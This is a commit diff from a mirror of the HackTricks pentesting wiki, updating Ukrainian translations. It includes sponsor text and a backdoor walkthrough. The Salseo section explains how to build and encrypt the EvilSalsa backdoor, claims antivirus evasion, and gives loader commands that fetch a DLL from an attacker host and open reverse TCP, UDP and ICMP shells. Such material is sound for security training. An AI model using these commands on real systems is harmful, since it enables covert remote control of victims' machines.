mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Translated ['README.md', 'backdoors/salseo.md', 'binary-exploitation/arb
This commit is contained in:
parent
8aaa02c263
commit
f0230ccd02
112 changed files with 13616 additions and 2876 deletions
BIN
.gitbook/assets/arte.png
Normal file
BIN
.gitbook/assets/arte.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 756 KiB |
BIN
.gitbook/assets/grte.png
Normal file
BIN
.gitbook/assets/grte.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 879 KiB |
95
README.md
95
README.md
|
@ -1,14 +1,14 @@
|
|||
# Хактріки
|
||||
# ХакТрікс
|
||||
|
||||
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Логотипи та дизайн руху Hacktricks від_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_Логотипи та дизайн рухомих зображень Hacktricks від_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
{% hint style="success" %}
|
||||
**Ласкаво просимо до вікі, де ви знайдете кожний хакерський трюк/техніку/що-небудь, що я вивчив з CTF, додатків у реальному житті, читання досліджень та новин.**
|
||||
**Ласкаво просимо до вікі, де ви знайдете кожний хакінг-трюк/техніку/що-небудь, що я вивчив з CTF, додатків у реальному житті, читання досліджень та новин.**
|
||||
{% endhint %}
|
||||
|
||||
Для початку слідуйте цій сторінці, де ви знайдете **типовий порядок**, який **ви повинні слідувати під час пентесту** однієї або кількох **машин:**
|
||||
Для початку слідкуйте за цією сторінкою, де ви знайдете **типовий порядок**, який **ви повинні слідувати під час пентесту** однієї або кількох **машин:**
|
||||
|
||||
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
||||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||
|
@ -30,9 +30,9 @@ _Логотипи та дизайн руху Hacktricks від_ [_@ppiernacho_](
|
|||
|
||||
### [RootedCON](https://www.rootedcon.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) - найбільш важлива кібербезпекова подія в **Іспанії** та одна з найважливіших в **Європі**. З **місією просування технічних знань**, цей конгрес є кипучою точкою зустрічі для професіоналів технологій та кібербезпеки у кожній дисципліні.
|
||||
[**RootedCON**](https://www.rootedcon.com) - найбільш важлива кібербезпекова подія в **Іспанії** та одна з найважливіших в **Європі**. З **місією просування технічних знань**, цей конгрес є кипучою точкою зустрічі для професіоналів технологій та кібербезпеки у будь-якій дисципліні.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -40,11 +40,11 @@ _Логотипи та дизайн руху Hacktricks від_ [_@ppiernacho_](
|
|||
|
||||
### [Intigriti](https://www.intigriti.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** - це **#1 в Європі** етичний хакінг та **платформа для пошуку помилок**.
|
||||
|
||||
**Підказка щодо пошуку помилок**: **зареєструйтеся** на **Intigriti**, преміальній **платформі для пошуку помилок, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
|
||||
**Порада щодо пошуку помилок**: **зареєструйтеся** на **Intigriti**, преміальній **платформі для пошуку помилок, створеної хакерами для хакерів**! Приєднуйтеся до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -52,10 +52,10 @@ _Логотипи та дизайн руху Hacktricks від_ [_@ppiernacho_](
|
|||
|
||||
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси** за допомогою найбільш **продвинутих** інструментів спільноти у світі.
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси** за допомогою найбільш **продвинутих** інструментів спільноти.
|
||||
|
||||
Отримайте доступ сьогодні:
|
||||
|
||||
|
@ -65,33 +65,43 @@ _Логотипи та дизайн руху Hacktricks від_ [_@ppiernacho_](
|
|||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (50).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до сервера [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), щоб спілкуватися з досвідченими хакерами та мисливцями за винагородами за виявлення помилок!
|
||||
|
||||
**Інсайти щодо хакінгу**\
|
||||
Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу
|
||||
|
||||
**Новини про хакінг у реальному часі**\
|
||||
Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі
|
||||
|
||||
**Останні оголошення**\
|
||||
Будьте в курсі з найновішими програмами винагород за виявлення помилок та важливими оновленнями платформи
|
||||
* **Інсайти щодо хакінгу:** Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу
|
||||
* **Новини про хакінг у реальному часі:** Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі
|
||||
* **Останні оголошення:** Будьте в курсі з найновішими програмами винагород за виявлення помилок та важливими оновленнями платформи
|
||||
|
||||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з найкращими хакерами вже сьогодні!
|
||||
|
||||
***
|
||||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/) - Необхідний набір інструментів для пентесту
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/) - Основний набір інструментів для пентестів
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Миттєве налаштування для оцінки вразливостей та пентесту**. Виконуйте повний пентест з будь-якого місця за допомогою 20+ інструментів та функцій, які охоплюють реконструкцію та звітність. Ми не замінюємо пентестерів - ми розробляємо власні інструменти, модулі виявлення та експлуатації, щоб дати їм можливість копати глибше, виходити на оболонки та веселитися.
|
||||
**Миттєве налаштування для оцінки вразливостей та пентестів**. Виконуйте повний пентест з будь-якого місця за допомогою 20+ інструментів та функцій, які охоплюють реконструкцію та звітність. Ми не замінюємо пентестерів - ми розробляємо власні інструменти, модулі виявлення та експлуатації, щоб дати їм можливість копати глибше, вибивати оболонки та веселитися.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
***
|
||||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SerpApi пропонує швидкі та прості API в реальному часі для **доступу до результатів пошуку в Інтернеті**. Вони скрапляють пошукові системи, обробляють проксі, вирішують капчі та аналізують усі структуровані дані для вас.
|
||||
|
||||
Підписка на один з планів SerpApi включає доступ до понад 50 різних API для скрапінгу різних пошукових систем, включаючи Google, Bing, Baidu, Yahoo, Yandex та інші.\
|
||||
На відміну від інших постачальників, **SerpApi не просто скрапить органічні результати**. Відповіді SerpApi завжди включають всі рекламні оголошення, вбудовані зображення та відео, бази знань та інші елементи та функції, присутні в результатах пошуку.
|
||||
|
||||
Поточні клієнти SerpApi включають **Apple, Shopify та GrubHub**.\
|
||||
Для отримання додаткової інформації перегляньте їх [**блог**](https://serpapi.com/blog/)**,** або спробуйте приклад у їхній [**ігровій площадці**](https://serpapi.com/playground)**.**\
|
||||
Ви можете **створити безкоштовний обліковий запис** [**тут**](https://serpapi.com/users/sign\_up)**.**
|
||||
|
||||
***
|
||||
|
||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
|
||||
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -104,34 +114,51 @@ _Логотипи та дизайн руху Hacktricks від_ [_@ppiernacho_](
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) - це професійна кібербезпекова компанія зі штаб-квартирою в **Амстердамі**, яка допомагає **захищати** бізнеси **по всьому світу** від останніх кіберзагроз, надаючи **послуги з офенсивної безпеки** з **сучасним** підходом.
|
||||
[**WebSec**](https://websec.nl) - це професійна кібербезпекова компанія зі штаб-квартирою в **Амстердамі**, яка допомагає **захищати** бізнеси **по всьому світу** від останніх кіберзагроз, надаючи **офенсивні кібербезпекові послуги** з **сучасним** підходом.
|
||||
|
||||
WebSec - це **все в одному кібербезпекова компанія**, що означає, що вони роблять все; Пентестинг, **аудити безпеки**, тренування по підвищенню обізнаності, фішингові кампанії, рецензії коду, розробка експлойтів, аутсорсинг експертів з безпеки та багато іншого.
|
||||
WebSec - це **все в одному кібербезпекова компанія**, що означає, що вони роблять все; Пентестинг, **аудити безпеки**, навчання по підвищенню обізнаності, фішингові кампанії, перегляд коду, розробка експлойтів, аутсорсинг експертів з безпеки та багато іншого.
|
||||
|
||||
Ще одна крута річ про WebSec полягає в тому, що, на відміну від середньої галузевої практики, WebSec **дуже впевнені у своїх навичках**, настільки, що вони **гарантують найкращі якісні результати**, як зазначено на їхньому веб-сайті "**Якщо ми не можемо взламати це, ви не платите за це!**". Для отримання додаткової інформації перегляньте їх [**веб-сайт**](https://websec.nl/en/) та [**блог**](https://websec.nl/blog/)!
|
||||
Ще одна цікава річ про WebSec полягає в тому, що, на відміну від середньої галузевої практики, WebSec **дуже впевнені у своїх навичках**, настільки, що вони **гарантують найкращі якісні результати**, як зазначено на їхньому веб-сайті "**Якщо ми не можемо взламати це, ви не платите за це!**". Для отримання додаткової інформації перегляньте їх [**веб-сайт**](https://websec.nl/en/) та [**блог**](https://websec.nl/blog/)!
|
||||
|
||||
Крім вищезазначеного, WebSec також є **прихильником HackTricks.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) - це пошуковий двигун, який працює на **темному вебі** і пропонує **безкоштовні** функціональні можливості для перевірки, чи були **компрометовані** компанія або її клієнти через **викрадення шкідливих програм**.
|
||||
|
||||
Основна мета WhiteIntel - боротьба з захопленням облікових записів та атаками вірусів-вимагачів, що виникають внаслідок шкідливих програм, які крадуть інформацію.
|
||||
|
||||
Ви можете перевірити їх веб-сайт та спробувати їх двигун **безкоштовно** за посиланням:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
## Ліцензія та відмова від відповідальності
|
||||
|
||||
**Перевірте їх тут:**
|
||||
Перевірте їх тут:
|
||||
|
||||
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
|
||||
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Статистика Github
|
||||
|
||||
![Статистика Github HackTricks](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg "Зображення аналітики Repobeats")
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -279,7 +279,7 @@
|
|||
* [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
|
||||
* [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
|
||||
* [WinRM](windows-hardening/lateral-movement/winrm.md)
|
||||
* [WmicExec](windows-hardening/lateral-movement/wmicexec.md)
|
||||
* [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
|
||||
* [Pivoting to the Cloud](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements)
|
||||
* [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
|
||||
* [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# Salseo
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа взлому AWS для Червоної Команди (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа взлому GCP для Червоної Команди (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Компіляція бінарних файлів
|
||||
|
||||
Завантажте вихідний код з GitHub та скомпілюйте **EvilSalsa** та **SalseoLoader**. Вам потрібно мати встановлений **Visual Studio**, щоб скомпілювати код.
|
||||
Завантажте вихідний код з GitHub та скомпілюйте **EvilSalsa** та **SalseoLoader**. Вам потрібно мати встановлений **Visual Studio** для компіляції коду.
|
||||
|
||||
Скомпілюйте ці проекти для архітектури віконного ящика, де ви плануєте їх використовувати (якщо Windows підтримує x64, скомпілюйте їх для цієї архітектури).
|
||||
Скомпілюйте ці проекти для архітектури віконної системи, на якій ви плануєте їх використовувати (якщо Windows підтримує x64, скомпілюйте їх для цієї архітектури).
|
||||
|
||||
Ви можете **вибрати архітектуру** всередині Visual Studio в **лівій вкладці "Build"** в **"Platform Target".**
|
||||
|
||||
|
@ -26,13 +27,13 @@
|
|||
|
||||
![](<../.gitbook/assets/image (132).png>)
|
||||
|
||||
Потім скомпілюйте обидва проекти (Build -> Build Solution) (У логах з'явиться шлях до виконавчого файлу):
|
||||
Потім скомпілюйте обидва проекти (Build -> Build Solution) (У логах з'явиться шлях до виконуваного файлу):
|
||||
|
||||
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
|
||||
|
||||
## Підготовка Задніх Дверей
|
||||
|
||||
Спочатку вам потрібно закодувати **EvilSalsa.dll.** Для цього ви можете використати скрипт Python **encrypterassembly.py** або скомпілювати проект **EncrypterAssembly**:
|
||||
По-перше, вам потрібно закодувати **EvilSalsa.dll.** Для цього ви можете використати скрипт Python **encrypterassembly.py** або скомпілювати проект **EncrypterAssembly**:
|
||||
|
||||
### **Python**
|
||||
```
|
||||
|
@ -44,29 +45,29 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
|
|||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
Ок, тепер у вас є все необхідне для виконання всієї справи Salseo: **закодований EvilDalsa.dll** та **бінарний файл SalseoLoader.**
|
||||
Ok, зараз у вас є все необхідне для виконання всієї справи Salseo: **закодований EvilDalsa.dll** та **бінарний файл SalseoLoader.**
|
||||
|
||||
**Завантажте бінарний файл SalseoLoader.exe на машину. Їх не повинно виявити жодне Антивірусне програмне забезпечення...**
|
||||
**Завантажте виконуваний файл SalseoLoader.exe на машину. Їх не повинно виявити жодне Антивірусне програмне забезпечення...**
|
||||
|
||||
## **Виконання backdoor**
|
||||
|
||||
### **Отримання оберненого оболонкового з'єднання TCP (завантаження закодованого dll через HTTP)**
|
||||
|
||||
Не забудьте запустити nc як слухач оберненої оболонки та HTTP-сервер для обслуговування закодованого evilsalsa.
|
||||
Не забудьте запустити nc як прослуховувач оберненої оболонки та HTTP-сервер для обслуговування закодованого evilsalsa.
|
||||
```
|
||||
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Отримання оберненого оболонки UDP (завантаження закодованого dll через SMB)**
|
||||
### **Отримання зворотньої оболонки UDP (завантаження закодованого dll через SMB)**
|
||||
|
||||
Не забудьте запустити nc як слухач оберненої оболонки та сервер SMB для обслуговування закодованого evilsalsa (impacket-smbserver).
|
||||
Не забудьте запустити nc як прослуховувач зворотньої оболонки та сервер SMB для обслуговування закодованого evilsalsa (impacket-smbserver).
|
||||
```
|
||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Отримання оберненого shell ICMP (закодований dll вже всередині жертви)**
|
||||
### **Отримання зворотньої оболонки ICMP (закодований dll вже всередині жертви)**
|
||||
|
||||
**На цей раз вам потрібен спеціальний інструмент на клієнті для отримання оберненого shell. Завантажте:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
**На цей раз вам потрібен спеціальний інструмент у клієнта для отримання зворотної оболонки. Завантажте:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
#### **Вимкніть відповіді ICMP:**
|
||||
#### **Вимкнення відповідей ICMP:**
|
||||
```
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
||||
|
||||
|
@ -77,7 +78,7 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
|||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
#### У жертви виконайте річ сальсео:
|
||||
#### У жертви виконаємо річ сальсео:
|
||||
```
|
||||
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||
```
|
||||
|
@ -87,21 +88,21 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
|||
|
||||
### Додайте перед головною функцією: \[DllExport]
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### Встановіть DllExport для цього проекту
|
||||
|
||||
#### **Інструменти** --> **Менеджер пакетів NuGet** --> **Керування пакетами NuGet для рішення...**
|
||||
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **Пошук пакета DllExport (використовуючи вкладку Перегляд) та натисніть Встановити (і підтвердьте спливаюче вікно)**
|
||||
#### **Пошук пакету DllExport (за допомогою вкладки Огляд), і натисніть Встановити (і прийміть спливаюче вікно)**
|
||||
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
У папці вашого проекту з'явилися файли: **DllExport.bat** та **DllExport\_Configure.bat**
|
||||
У вашій папці проекту з'явилися файли: **DllExport.bat** та **DllExport\_Configure.bat**
|
||||
|
||||
### **Де**інсталювати DllExport
|
||||
### **Де**інсталюйте DllExport
|
||||
|
||||
Натисніть **Деінсталювати** (так, це дивно, але повірте мені, це необхідно)
|
||||
|
||||
|
@ -111,9 +112,9 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
|||
|
||||
Просто **вийдіть** з Visual Studio
|
||||
|
||||
Потім перейдіть до вашої папки **SalseoLoader** та **виконайте DllExport\_Configure.bat**
|
||||
Потім перейдіть до вашої **папки SalseoLoader** та **виконайте DllExport\_Configure.bat**
|
||||
|
||||
Виберіть **x64** (якщо ви збираєтеся використовувати його в середовищі x64, як у моєму випадку), виберіть **System.Runtime.InteropServices** (в межах **Простору імен для DllExport**) та натисніть **Застосувати**
|
||||
Виберіть **x64** (якщо ви збираєтеся використовувати його всередині x64-боксу, це було моє випадок), виберіть **System.Runtime.InteropServices** (в межах **Простору імен для DllExport**) та натисніть **Застосувати**
|
||||
|
||||
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
|
||||
|
||||
|
@ -133,7 +134,7 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
|||
|
||||
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
||||
|
||||
Для **побудови** рішення: Build --> Build Solution (У консолі виводу з'явиться шлях до нового DLL)
|
||||
Для **побудови** рішення: Build --> Build Solution (У консолі виведення з'явиться шлях до нового DLL)
|
||||
|
||||
### Протестуйте згенерований Dll
|
||||
|
||||
|
@ -145,9 +146,9 @@ rundll32.exe SalseoLoader.dll,main
|
|||
```
|
||||
Якщо помилка не виникає, ймовірно, у вас є функціональний DLL!!
|
||||
|
||||
## Отримати оболонку, використовуючи DLL
|
||||
## Отримайте оболонку, використовуючи DLL
|
||||
|
||||
Не забудьте використовувати **HTTP** **сервер** та встановити **nc** **слухача**
|
||||
Не забудьте використовувати **HTTP** **сервер** та встановити **nc** **прослуховувач**
|
||||
|
||||
### Powershell
|
||||
```
|
||||
|
@ -169,16 +170,17 @@ set lport=1337
|
|||
set shell=reversetcp
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа взлому AWS для Червоної Команди (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа взлому GCP для Червоної Команди (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -0,0 +1,82 @@
|
|||
# WWW2Exec - \_\_malloc\_hook & \_\_free\_hook
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
